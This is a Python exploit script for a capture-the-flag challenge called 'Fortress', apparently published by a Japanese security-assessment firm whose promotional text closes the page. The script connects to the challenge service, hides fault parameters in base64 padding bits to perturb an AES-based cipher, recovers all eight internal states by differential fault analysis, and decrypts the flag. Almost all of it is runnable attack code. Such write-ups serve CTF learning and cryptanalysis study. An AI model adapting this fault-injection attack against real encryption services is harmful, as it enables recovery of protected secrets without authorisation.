    def parse_args():
        parser = argparse.ArgumentParser(description='Exploit for Fortress')
        parser.add_argument('--host', type=str, default='localhost', help='Host to connect to')
        parser.add_argument('--port', type=int, default=20001, help='Port to connect to')
        parser.add_argument('--binary', type=str, default=None, help='Path to the fortress binary')
        return parser.parse_args()
    
    class Fortress():
        B64_TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
        B64_DECODE_TABLE = {c: i for i, c in enumerate(B64_TABLE)}
    
        SBOX = [
            0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
            0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
            0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
            0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
            0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
            0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
            0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
            0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
            0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
            0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
            0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
            0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
            0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
            0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
            0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
            0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16,
        ]
    
        INV_SBOX = [
            0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
            0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
            0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
            0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
            0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
            0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
            0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
            0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
            0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
            0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
            0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
            0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
            0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
            0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
            0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
            0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d,
        ]
    
        FORTRESS_BLOCK_SIZE = 32
    
        def __init__(self, host: str, port: int, binary: str):
            self.host = host
            self.port = port
            self.binary = binary
            self.test_plain = b'\x00' * 64
            self.num_skip_round = 0
            self.normal_enc = self.getEncryptedData(self.test_plain)
    
        @staticmethod
        def b64encode(data: bytes, paddingBits: int = 0) -> str:
            encoded = ''
            for i in range(0, len(data), 3):
                block = data[i:i+3]
                if len(block) == 3:
                    encoded += Fortress.B64_TABLE[block[0] >> 2]
                    encoded += Fortress.B64_TABLE[((block[0] & 0x03) << 4) | (block[1] >> 4)]
                    encoded += Fortress.B64_TABLE[((block[1] & 0x0f) << 2) | (block[2] >> 6)]
                    encoded += Fortress.B64_TABLE[block[2] & 0x3f]
                elif len(block) == 2:
                    encoded += Fortress.B64_TABLE[block[0] >> 2]
                    encoded += Fortress.B64_TABLE[((block[0] & 0x03) << 4) | (block[1] >> 4)]
                    encoded += Fortress.B64_TABLE[((block[1] & 0x0f) << 2) | (paddingBits & 0x03)]
                    encoded += '='
                else:
                    encoded += Fortress.B64_TABLE[block[0] >> 2]
                    encoded += Fortress.B64_TABLE[((block[0] & 0x03) << 4) | (paddingBits & 0x0f)]
                    encoded += '=='
            return encoded
    
        @staticmethod
        def b64decode(data: str) -> bytes:
            if isinstance(data, bytes):
                data = data.decode()
            decoded = bytearray()
            for i in range(0, len(data), 4):
                block = data[i:i+4]
                if block[-2:] == '==':
                    block = [Fortress.B64_DECODE_TABLE[c] for c in block[:-2]]
                    decoded.append(((block[0] << 2) | (block[1] >> 4)) & 0xff)
                elif block[-1] == '=':
                    block = [Fortress.B64_DECODE_TABLE[c] for c in block[:-1]]
                    decoded.append(((block[0] << 2) | (block[1] >> 4)) & 0xff)
                    decoded.append(((block[1] << 4) | (block[2] >> 2)) & 0xff)
                else:
                    block = [Fortress.B64_DECODE_TABLE[c] for c in block]
                    decoded.append(((block[0] << 2) | (block[1] >> 4)) & 0xff)
                    decoded.append(((block[1] << 4) | (block[2] >> 2)) & 0xff)
                    decoded.append(((block[2] << 6) | block[3]) & 0xff)
            return bytes(decoded)
    
        @staticmethod
        def mul(dt, n):
            x = 0
            i = 8
            while i > 0:
                x <<= 1
                if x & 0x100:
                    x = (x ^ 0x1b) & 0xff
                if n & i:
                    x ^= dt
                i >>= 1
            return x
    
        @staticmethod
        def mul1(value: int) -> int:
            assert(abs(value) < 256)
            return value
    
        @staticmethod
        def mul2(value: int) -> int:
            assert(abs(value) < 256)
            return Fortress.mul(value, 2)
    
        @staticmethod
        def mul3(value: int) -> int:
            assert(abs(value) < 256)
            return Fortress.mul(value, 3)
    
        @staticmethod
        def mul9(value: int) -> int:
            assert(abs(value) < 256)
            return Fortress.mul(value, 9)
    
        @staticmethod
        def mul11(value: int) -> int:
            assert(abs(value) < 256)
            return Fortress.mul(value, 11)
    
        @staticmethod
        def mul13(value: int) -> int:
            assert(abs(value) < 256)
            return Fortress.mul(value, 13)
    
        @staticmethod
        def mul14(value: int) -> int:
            assert(abs(value) < 256)
            return Fortress.mul(value, 14)
    
        @staticmethod
        def subBytes(state: bytes) -> bytes:
            return bytes([Fortress.SBOX[b] for b in state])
    
        @staticmethod
        def shiftRows(state: bytes) -> bytes:
            return bytes([
                state[0], state[5], state[10], state[15],
                state[4], state[9], state[14], state[3],
                state[8], state[13], state[2], state[7],
                state[12], state[1], state[6], state[11]
            ])
    
        @staticmethod
        def mixColumns(state: bytes) -> bytes:
            state = bytearray(state)
            for i in range(0, len(state), 4):
                a = state[i]
                b = state[i + 1]
                c = state[i + 2]
                d = state[i + 3]
                state[i] = Fortress.mul2(a) ^ Fortress.mul3(b) ^ c ^ d
                state[i + 1] = a ^ Fortress.mul2(b) ^ Fortress.mul3(c) ^ d
                state[i + 2] = a ^ b ^ Fortress.mul2(c) ^ Fortress.mul3(d)
                state[i + 3] = Fortress.mul3(a) ^ b ^ c ^ Fortress.mul2(d)
            return bytes(state)
    
        @staticmethod
        def aesencIns(state: bytes) -> bytes:
            state = Fortress.subBytes(state)
            state = Fortress.shiftRows(state)
            state = Fortress.mixColumns(state)
            return state
    
        @staticmethod
        def invSubBytes(state: bytes) -> bytes:
            return bytes([Fortress.INV_SBOX[b] for b in state])
    
        @staticmethod
        def invShiftRows(state: bytes) -> bytes:
            return bytes([
                state[0], state[13], state[10], state[7],
                state[4], state[1], state[14], state[11],
                state[8], state[5], state[2], state[15],
                state[12], state[9], state[6], state[3]
            ])
    
        @staticmethod
        def invMixColumns(state: bytes) -> bytes:
            state = bytearray(state)
            for i in range(0, len(state), 4):
                a = state[i]
                b = state[i + 1]
                c = state[i + 2]
                d = state[i + 3]
                state[i] = Fortress.mul14(a) ^ Fortress.mul11(b) ^ Fortress.mul13(c) ^ Fortress.mul9(d)
                state[i + 1] = Fortress.mul9(a) ^ Fortress.mul14(b) ^ Fortress.mul11(c) ^ Fortress.mul13(d)
                state[i + 2] = Fortress.mul13(a) ^ Fortress.mul9(b) ^ Fortress.mul14(c) ^ Fortress.mul11(d)
                state[i + 3] = Fortress.mul11(a) ^ Fortress.mul13(b) ^ Fortress.mul9(c) ^ Fortress.mul14(d)
            return bytes(state)
    
        @staticmethod
        def aesdecIns(state: bytes) -> bytes:
            state = Fortress.invMixColumns(state)
            state = Fortress.invShiftRows(state)
            state = Fortress.invSubBytes(state)
            return state
    
        def setNumSkipRound(self, num_skip_round: int):
            self.num_skip_round = num_skip_round
            self.normal_enc = self.getEncryptedData(self.test_plain)
    
        def getConnection(self):
            if self.binary:
                return process(self.binary)
            return remote(self.host, self.port)
    
        def getEncryptedData(self, data: bytes):
            r = self.getConnection()
            if self.num_skip_round:
                r.recvuntil(b'> ')
                r.sendline(b'1')
                r.recvuntil(b': ')
                r.sendline(Fortress.b64encode(b'\x00' * self.FORTRESS_BLOCK_SIZE).encode())
                r.recvuntil(b': ')
                r.recvline()
            r.recvuntil(b'> ')
            r.sendline(b'1')
            r.recvuntil(b': ')
            r.sendline(Fortress.b64encode(data).encode())
            r.recvuntil(b': ')
            enc = r.recvline().strip().decode()
            r.close()
            return Fortress.b64decode(enc)
    
        def getFaultedData(self, data: bytes, state_location: int, xor_bit_location: int):
            assert(0 <= state_location and state_location < 8)
            assert(0 <= xor_bit_location and xor_bit_location < 128)
    
            r = self.getConnection()
            if self.num_skip_round:
                r.recvuntil(b'> ')
                r.sendline(b'1')
                r.recvuntil(b': ')
                r.sendline(Fortress.b64encode(b'\x00' * self.FORTRESS_BLOCK_SIZE).encode())
                r.recvuntil(b': ')
                r.recvline()
    
            r.recvuntil(b'> ')
            r.sendline(b'1')
            r.recvuntil(b': ')
    
            payload = b''
            payload += data
            payload += b'\x00' * ((len(data) % 3) + 1)
            payload += int.to_bytes(xor_bit_location, 1)
    
            r.sendline(Fortress.b64encode(payload, state_location | 0b1000).encode())
            r.recvuntil(b': ')
            enc = r.recvline().strip().decode()
            r.close()
            return Fortress.b64decode(enc)[:len(data)]
    
        def getCandidates(self, diffs: list, coef_funcs: list, epsilon: int):
            candidates = set()
            for diff_index in range(len(diffs)):
                for candidate in range(256):
                    diff = Fortress.SBOX[candidate] ^ Fortress.SBOX[candidate ^ epsilon]
                    if coef_funcs[diff_index](diff) == diffs[diff_index]:
                        candidates.add(candidate)
            return candidates
    
        def getCoefs(self, diffs: list):
            coefs = [None] * 4
            mul1_indices = []
            for i in range(len(diffs)):
                for j in range(i + 1, len(diffs)):
                    if diffs[i] == diffs[j]:
                        coefs[i] = Fortress.mul1
                        coefs[j] = Fortress.mul1
                        mul1_indices.append(i)
                        mul1_indices.append(j)
                        break
                if len(mul1_indices) == 2:
                    break
            other_indices = [i for i in range(4) if i not in mul1_indices]
            for i in other_indices:
                if Fortress.mul2(diffs[mul1_indices[0]]) == diffs[i]:
                    coefs[i] = Fortress.mul2
                elif Fortress.mul3(diffs[mul1_indices[0]]) == diffs[i]:
                    coefs[i] = Fortress.mul3
            return coefs
    
        def recoverState(self, fault_state, diff_locations):
            state = bytearray(16)
            for byte_location in range(16):
                diff_location = diff_locations[byte_location]
                candidates = set(range(256))
    
                faulted = self.getFaultedData(self.test_plain, fault_state, 8 * byte_location)
                xored = xor(self.normal_enc, faulted)
                diffs = [xored[i] for i in range(diff_location, diff_location + 4)]
                coefs = self.getCoefs(diffs)
                epsilon = 1 << 0
                candidates &= self.getCandidates(diffs, coefs, epsilon)
    
                faulted = self.getFaultedData(self.test_plain, fault_state, 8 * byte_location + 1)
                xored = xor(self.normal_enc, faulted)
                diffs = [xored[i] for i in range(diff_location, diff_location + 4)]
                coefs = self.getCoefs(diffs)
                epsilon = 1 << 1
                candidates &= self.getCandidates(diffs, coefs, epsilon)
    
                state[byte_location] = next(iter(candidates))
    
            return bytes(state)
    
        def recoverState1(self) -> bytes:
            diff_locations = [
                0, 12, 8, 4,
                4, 0, 12, 8,
                8, 4, 0, 12,
                12, 8, 4, 0
            ]
            return self.recoverState(1, diff_locations)
    
        def recoverState5(self, state1: bytes) -> bytes:
            state5 = xor(self.normal_enc[0:16], Fortress.aesencIns(state1))
            return state5
    
        def recoverState0XorState4(self) -> bytes:
            diff_locations = [
                16, 28, 24, 20,
                20, 16, 28, 24,
                24, 20, 16, 28,
                28, 24, 20, 16
            ]
            return self.recoverState(4, diff_locations)
    
        def recoverState2(self, state0XorState4) -> bytes:
            state2 = xor(self.normal_enc[16:32], Fortress.aesencIns(state0XorState4))
            return state2
    
        def recoverState3XorState7(self) -> bytes:
            diff_locations = [
                48, 60, 56, 52,
                52, 48, 60, 56,
                56, 52, 48, 60,
                60, 56, 52, 48
            ]
            return self.recoverState(3, diff_locations)
    
        def recoverState6(self, state3XorState7: bytes, state1: bytes):
            state6 = xor(xor(self.normal_enc[48:64], Fortress.aesencIns(state3XorState7)), state1)
            return state6
    
        def recoverState4(self):
            diff_locations = [
                32, 44, 40, 36,
                36, 32, 44, 40,
                40, 36, 32, 44,
                44, 40, 36, 32
            ]
            return self.recoverState(4, diff_locations)
    
        def recoverState0(self, state0XorState4, state4):
            state0 = xor(state0XorState4, state4)
            return state0
    
        def recoverState7(self):
            self.setNumSkipRound(1)
            nextState0XorState4 = self.recoverState0XorState4()
            nextState4 = self.recoverState4()
            nextState0 = self.recoverState0(nextState0XorState4, nextState4)
    
            self.setNumSkipRound(0)
            state7 = xor(nextState0, self.normal_enc[0:16])
            return state7
    
        def recoverState3(self, state3XorState7, state7):
            c0 = self.normal_enc[0:16]
            c1 = self.normal_enc[16:32]
            state = bytearray(16)
            state = xor(state, state3XorState7)
            state = xor(state, c0)
            state = xor(state, c1)
            state = xor(state, state7)
            return state
    
        def getEncryptedFlag(self) -> bytes:
            r = self.getConnection()
            r.recvuntil(b'> ')
            r.sendline(b'2')
            r.recvuntil(b': ')
            enc = r.recvline().strip().decode()
            r.close()
            return Fortress.b64decode(enc)
    
        def getPrevState(self, state: list, c0: bytes, c1: bytes) -> list:
            prev_state = [None] * 8
            prev_state[7] = xor(state[0], c0)
            prev_state[0] = Fortress.aesdecIns(xor(state[1], prev_state[7]))
            prev_state[3] = xor(state[4], c1)
            prev_state[4] = Fortress.aesdecIns(xor(state[5], prev_state[3]))
            prev_state[5] = Fortress.aesdecIns(xor(state[6], prev_state[4]))
            prev_state[6] = xor(state[7], prev_state[0])
            prev_state[1] = xor(state[2], prev_state[6])
            prev_state[2] = Fortress.aesdecIns(xor(state[3], prev_state[1]))
            return prev_state
    
        def getFlag(self, state: list) -> list:
            assert(len(state) == 8)
    
            enc_flag = self.getEncryptedFlag()
    
            c0 = enc_flag[0:16]
            c1 = enc_flag[16:32]
    
            prev_state = self.getPrevState(state, c0, c1)
            for i in range(len(prev_state)):
                print(f'prev_state{i}: {prev_state[i].hex()}')
    
            z0 = xor(Fortress.aesencIns(prev_state[1]), prev_state[5])
            z1 = xor(Fortress.aesencIns(xor(prev_state[0], prev_state[4])), prev_state[2])
    
            flag = b''
            flag += xor(c0, z0)
            flag += xor(c1, z1)
            return flag
    
        def exploit(self):
            state = [None] * 8
            state[1] = self.recoverState1()
            print(f'[+] Recovered state1: {state[1].hex()}')
            state[5] = self.recoverState5(state[1])
            print(f'[+] Recovered state5: {state[5].hex()}')
            state0XorState4 = self.recoverState0XorState4()
            print(f'[+] Recovered state0 ^ state4: {state0XorState4.hex()}')
            state[2] = self.recoverState2(state0XorState4)
            print(f'[+] Recovered state2: {state[2].hex()}')
            state3XorState7 = self.recoverState3XorState7()
            print(f'[+] Recovered state3 ^ state7: {state3XorState7.hex()}')
            state[6] = self.recoverState6(state3XorState7, state[1])
            print(f'[+] Recovered state6: {state[6].hex()}')
            state[4] = self.recoverState4()
            print(f'[+] Recovered state4: {state[4].hex()}')
            state[0] = self.recoverState0(state0XorState4, state[4])
            print(f'[+] Recovered state0: {state[0].hex()}')
            state[7] = self.recoverState7()
            print(f'[+] Recovered state7: {state[7].hex()}')
            state[3] = self.recoverState3(state3XorState7, state[7])
    
            for i in range(len(state)):
                print(f'[+] state{i}: {state[i].hex()}')
    
            flag = self.getFlag(state)
            print(f'[+] Flag: {flag.decode()}')
    
    def main():
        args = parse_args()
        fortress = Fortress(args.host, args.port, args.binary)
        fortress.exploit()
    
    if __name__ == '__main__':
        main()
    
    セキュリティ診断のことなら
    お気軽にご相談ください
    セキュリティ診断で発見された脆弱性と、具体的な内容・再現方法・リスク・対策方法を報告したレポートのサンプルをご覧いただけます。

    関連記事

    経験豊富なエンジニアが
    セキュリティの不安を解消します

    Webサービスやアプリにおけるセキュリティ上の問題点を解消し、
    収益の最大化を実現する相談役としてぜひお気軽にご連絡ください。

    疑問点やお見積もり依頼はこちらから

    お見積もり・お問い合わせ

    セキュリティ診断サービスについてのご紹介

    資料ダウンロード